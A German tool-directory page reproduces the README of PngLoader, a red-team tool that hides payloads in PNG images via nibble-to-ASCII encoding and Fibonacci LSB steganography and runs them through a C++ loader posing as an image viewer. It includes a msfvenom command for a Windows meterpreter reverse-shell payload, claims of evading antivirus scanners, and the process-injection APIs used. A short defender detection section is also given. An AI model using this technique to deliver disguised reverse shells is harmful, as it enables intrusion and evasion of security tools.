Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PngLoader — Verbirgt beliebige Payloads in PNG-Bildern mithilfe von Nibble-zu-ASCII-Kodierung und Fibonacci-LSB-Steganografie, mit einem C++-Loader, der die eingebetteten Daten extrahiert und ausführt. | Kitploit
Tools/GitHubGitHub/i014n/pngloader
DefensivwerkzeugePayload-GenerierungExploitationShellcodeSteganografieMalware-AnalyseLernen & BildungRed TeamingPayload-Entwicklung
GitHubi014n/pngloader

PngLoader

Verbirgt beliebige Payloads in PNG-Bildern mithilfe von Nibble-zu-ASCII-Kodierung und Fibonacci-LSB-Steganografie, mit einem C++-Loader, der die eingebetteten Daten extrahiert und ausführt.

3130vor 22h 45mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

PngLoader — Steganographische Payload-Forschung

Haftungsausschluss: Dieses Projekt dient ausschließlich der Bildung und autorisierten Sicherheitsforschung — Penetrationstests, CTF-Wettbewerben, Red-Team-Übungen und akademischem Studium. Verwende es nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.


Überblick

PngLoader versteckt beliebige Daten in PNG-Bildern mithilfe von zwei Schichten:

  1. Nibble-zu-ASCII-Kodierung — Binärdaten → druckbare ASCII-Zeichen
  2. Fibonacci-Steganographie — kodierte Daten → verstreute Pixel in einem PNG
  3. Loader — ein Windows-„PNG-Viewer", der die versteckten Daten extrahiert und ausführt

Schnellstart

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PoC-Demo

PoC-Demo


Projektstruktur

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Funktionsweise

Stufe 1 — Nibble-zu-ASCII-Kodierung

Jedes Byte wird in zwei 4-Bit-Nibbles aufgeteilt. Jedes Nibble wird einem druckbaren ASCII-Zeichen zugeordnet, indem eine zufällige Basis (48, 64 oder 96) addiert wird:

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Dekodierung nutzt die Modulo-16-Eigenschaft — alle drei Basen sind Vielfache von 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

Die zufällige Basisauswahl bedeutet, dass dieselbe Eingabe jedes Mal eine andere Ausgabe erzeugt, die Dekodierung jedoch immer deterministisch ist.

BasisBereichZeichen
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Stufe 2 — Fibonacci-Steganographie

Die Payload-Bytes werden an Pixelindizes platziert, die der Fibonacci-Folge (1, 2, 3, 5, 8, 13, 21, …) im abgeflachten Pixel-Array folgen. Dadurch werden die Änderungen über das gesamte Bild verteilt, anstatt sie zu bündeln.

Bit-Packing — jedes Byte wird 3/3/2 auf die RGB-LSBs aufgeteilt:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Wrapping — wenn Fibonacci-Indizes die Pixelanzahl überschreiten, werden sie per Modulo umgebrochen. Kollisionen werden durch lineares Sondieren aufgelöst. Ein 0x00-Terminator markiert das Datenende.

BildgrößePixelSaubere Kapazität
640×480307.200~27 Bytes
1920×10802.073.600~31 Bytes
4000×300012M~35 Bytes

Bei aktiviertem Wrapping gilt: max. Kapazität = total_pixels − 1.

Stufe 3 — Loader

Der C++-Loader (loader_png.cpp) fungiert als legitimer PNG-Viewer:

  1. Zeigt das Bild normal über GDI+ an
  2. Extrahiert versteckte Bytes aus Fibonacci-Pixelpositionen über WIC (RGB24)
  3. Dekodiert ASCII → Binär über UtilDecryptFileQuoted() (Mod-16-Umkehrung)

Alternative Positionierungsalgorithmen

Die Fibonacci-Folge ist nur ein Ansatz. Andere Pixel-Auswahlstrategien bieten unterschiedliche Kompromisse zwischen Kapazität und Sicherheit:

AlgorithmusSaubere Kapazität (1080p)Gemeinsamer SchlüsselVerteilungKosten
Fibonacci (implementiert)~31 BytesNeinExponentielle AbständeMinimal
Primzahl-Index~150K BytesNeinn·ln(n)-AbständeModerat
LFSR~2M BytesJa (Seed)Pseudo-zufälligMinimal
Schlüsselbasierte Permutation~2M BytesJa (Schlüssel)KryptografischHoch
Hilbert-KurveSchrittweitenabhängigNeinRäumlich gleichmäßigModerat
Goldener Schnitt (Weyl)~2M BytesNeinGeringe DiskrepanzMinimal
Details zu jedem Algorithmus

Primzahl-Index — Pixelindizes sind Primzahlen (2, 3, 5, 7, 11…). Primzahlen wachsen wie n·ln(n), was eine deutlich höhere saubere Kapazität als Fibonacci ergibt.

LFSR — Ein Linear Feedback Shift Register maximaler Länge erzeugt eine pseudo-zufällige Permutation. Der Seed fungiert als gemeinsames Geheimnis. Keine Kollisionen für die volle Periode.

Schlüsselbasierte Permutation (Fisher-Yates) — Eine CSPRNG-initialisierte Durchmischung aller Pixelindizes. Ohne den Schlüssel sind die Positionen nicht von Zufall zu unterscheiden.

Hilbert-Kurve — Durchläuft Pixel entlang einer raumfüllenden Kurve mit einer Schrittweite. Verteilt Änderungen gleichmäßig über die 2D-Bildfläche.

Goldener Schnitt (Weyl-Sequenz) — pos(n) = floor(n × φ × total) mod total. Erzeugt die gleichmäßigste mögliche 1D-Verteilung. Trivial zu berechnen.


Scan-Ergebnisse

Rohe Payload — 7/13 Scanner erkennen sie:

Scan der rohen Payload

Nach der Kodierung — 0/13 Scanner erkennen sie:

Scan der kodierten Payload


Erkennungshinweise

Für Blue-Team / Verteidiger:

EbeneIndikator
StatischImporte: VirtualAllocEx, WriteProcessMemory, SetThreadContext
BildChi-Quadrat-Steganalyse auf LSB-Ebenen erkennt Modifikationen
VerhaltenErstellung suspendierter Prozesse + Remote-Thread-Injection (Sysmon EID 1+8)
KodierungZeichen ausschließlich aus drei 16-Zeichen-ASCII-Bereichen

Build & Abhängigkeiten

Python:

pip install numpy Pillow

C++-Loader:

  • Visual Studio 2019+ mit C++-Desktop-Workload
  • Windows 10+ SDK
  • Öffne 1.Loader/Loader_png.vcxproj → Build Release x64

Referenzen

  • LSB-Steganographie
  • Fibonacci-Folge
  • Windows Imaging Component

Lizenz

Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Siehe Haftungsausschluss oben.

Tool herunterladen